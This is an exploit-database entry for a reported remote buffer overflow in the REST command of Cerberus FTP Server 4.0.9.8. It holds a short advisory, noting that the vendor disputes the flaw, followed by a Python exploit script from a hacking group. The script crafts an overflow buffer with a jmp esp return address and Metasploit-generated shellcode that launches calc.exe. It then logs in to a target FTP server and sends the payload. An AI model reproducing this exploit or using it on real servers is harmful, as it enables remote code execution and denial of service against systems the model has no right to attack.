Cerberus FTP Server 4.0.9.8 – Remote Buffer Overflow
source: https://www.securityfocus.com/bid/49444/info Cerberus FTP Server is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers can exploit this issue to execute arbitrary code within the context of the application. Failed attacks may cause a denial-of-service condition. Cerberus FTP Server 4.0.9.8 is vulnerable; other versions may also be affected. NOTE: The vendor refutes this issue stating the issue can not be replicated as described. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 I'm KedAns-Dz member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ### # Title : Cerberus FTP Server 4.0.9.8 (REST) Remote BOF and Crash Exploit # Author : KedAns-Dz # E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com # Home : Hassi.Messaoud (30008) - Algeria -(00213555248701) # Web Site : www.1337day.com * www.exploit-id.com * sec4ever.com # Facebook : http://facebook.com/KedAns # platform : windows # Impact : Remote Buffer Overflow ( in REST command) # Tested on : Windows XP SP3 (en) ## ## # | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << | # | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 | # | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * H-KinG | # | ------------------------------------------------- < | ### #=====[ Exploit Code ]======> #!/usr/bin/python # Cerberus FTP Server 4.0.9.8 (REST) Remote BOF and Crash Exploit # Provided by : KedAns-Dz * Inj3ct0r Team import errno from os import strerror from socket import * import sys from time import sleep from struct import pack if len(sys.argv) != 3: print "[*]Usage: python %s <ip> <port>" % sys.argv[0] print "[*]Exemple: python %s 192.168.1.2 21" % sys.argv[0] sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) # windows/exec | cmd=calc.exe | x86/alpha_mixed (http://metasploit.com) shellcode = ("\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48" "\x50\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41" "\x51\x51\x44\x44\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58" "\x56\x6a\x30\x50\x50\x54\x55\x50\x50\x61\x33\x30\x31\x30" "\x38\x39\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" "\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x4b" "\x58\x4e\x69\x43\x30\x43\x30\x43\x30\x43\x50\x4f\x79\x4b" "\x55\x45\x61\x4e\x32\x43\x54\x4c\x4b\x42\x72\x50\x30\x4c" "\x4b\x42\x72\x44\x4c\x4e\x6b\x43\x62\x42\x34\x4c\x4b\x43" "\x42\x45\x78\x46\x6f\x4d\x67\x51\x5a\x51\x36\x50\x31\x49" "\x6f\x50\x31\x4b\x70\x4c\x6c\x45\x6c\x43\x51\x51\x6c\x47" "\x72\x46\x4c\x51\x30\x49\x51\x4a\x6f\x46\x6d\x47\x71\x4a" "\x67\x4a\x42\x4a\x50\x46\x32\x51\x47\x4c\x4b\x43\x62\x44" "\x50\x4e\x6b\x42\x62\x45\x6c\x47\x71\x4e\x30\x4c\x4b\x47" "\x30\x50\x78\x4e\x65\x49\x50\x50\x74\x51\x5a\x46\x61\x4e" "\x30\x50\x50\x4c\x4b\x51\x58\x45\x48\x4e\x6b\x43\x68\x45" "\x70\x47\x71\x4b\x63\x4a\x43\x45\x6c\x47\x39\x4c\x4b\x47" "\x44\x4c\x4b\x46\x61\x48\x56\x50\x31\x49\x6f\x46\x51\x4f" "\x30\x4e\x4c\x4b\x71\x4a\x6f\x44\x4d\x47\x71\x4a\x67\x44" "\x78\x49\x70\x44\x35\x48\x74\x45\x53\x51\x6d\x4a\x58\x45" "\x6b\x51\x6d\x44\x64\x44\x35\x48\x62\x51\x48\x4e\x6b\x51" "\x48\x47\x54\x43\x31\x4b\x63\x43\x56\x4e\x6b\x46\x6c\x42" "\x6b\x4c\x4b\x43\x68\x47\x6c\x46\x61\x4a\x73\x4e\x6b\x43" "\x34\x4e\x6b\x47\x71\x48\x50\x4c\x49\x51\x54\x51\x34\x45" "\x74\x43\x6b\x43\x6b\x50\x61\x46\x39\x51\x4a\x42\x71\x4b" "\x4f\x4d\x30\x50\x58\x51\x4f\x50\x5a\x4e\x6b\x46\x72\x4a" "\x4b\x4b\x36\x43\x6d\x51\x7a\x46\x61\x4e\x6d\x4f\x75\x4d" "\x69\x43\x30\x47\x70\x45\x50\x50\x50\x42\x48\x44\x71\x4c" "\x4b\x50\x6f\x4b\x37\x4b\x4f\x4a\x75\x4f\x4b\x4a\x50\x4d" "\x65\x4e\x42\x42\x76\x50\x68\x4e\x46\x4e\x75\x4f\x4d\x4d" "\x4d\x4b\x4f\x4e\x35\x47\x4c\x44\x46\x51\x6c\x44\x4a\x4d" "\x50\x49\x6b\x49\x70\x42\x55\x46\x65\x4f\x4b\x47\x37\x45" "\x43\x51\x62\x50\x6f\x42\x4a\x47\x70\x50\x53\x49\x6f\x49" "\x45\x50\x63\x51\x71\x42\x4c\x42\x43\x46\x4e\x50\x65\x51" "\x68\x43\x55\x45\x50\x41\x41") buf = "\x41" * 244 buf += pack('<L',0x7C874413) # jmp esp - from (kernel32.dll) buf += "\x90" * 50 buf += shellcode print "[+]Connecting with server..." sleep(1) try: s = socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) s.recv(1024) s.send("USER test\r\n") s.recv(1024) s.send("PASS test\r\n") s.recv(1024) s.send("REST "+buf+"\r\n") s.close() s = socket(AF_INET,SOCK_STREAM) s.connect((ip,port))# Connected again to Crash and BOF sleep(1) s.close()# Close connection and Crash!!!
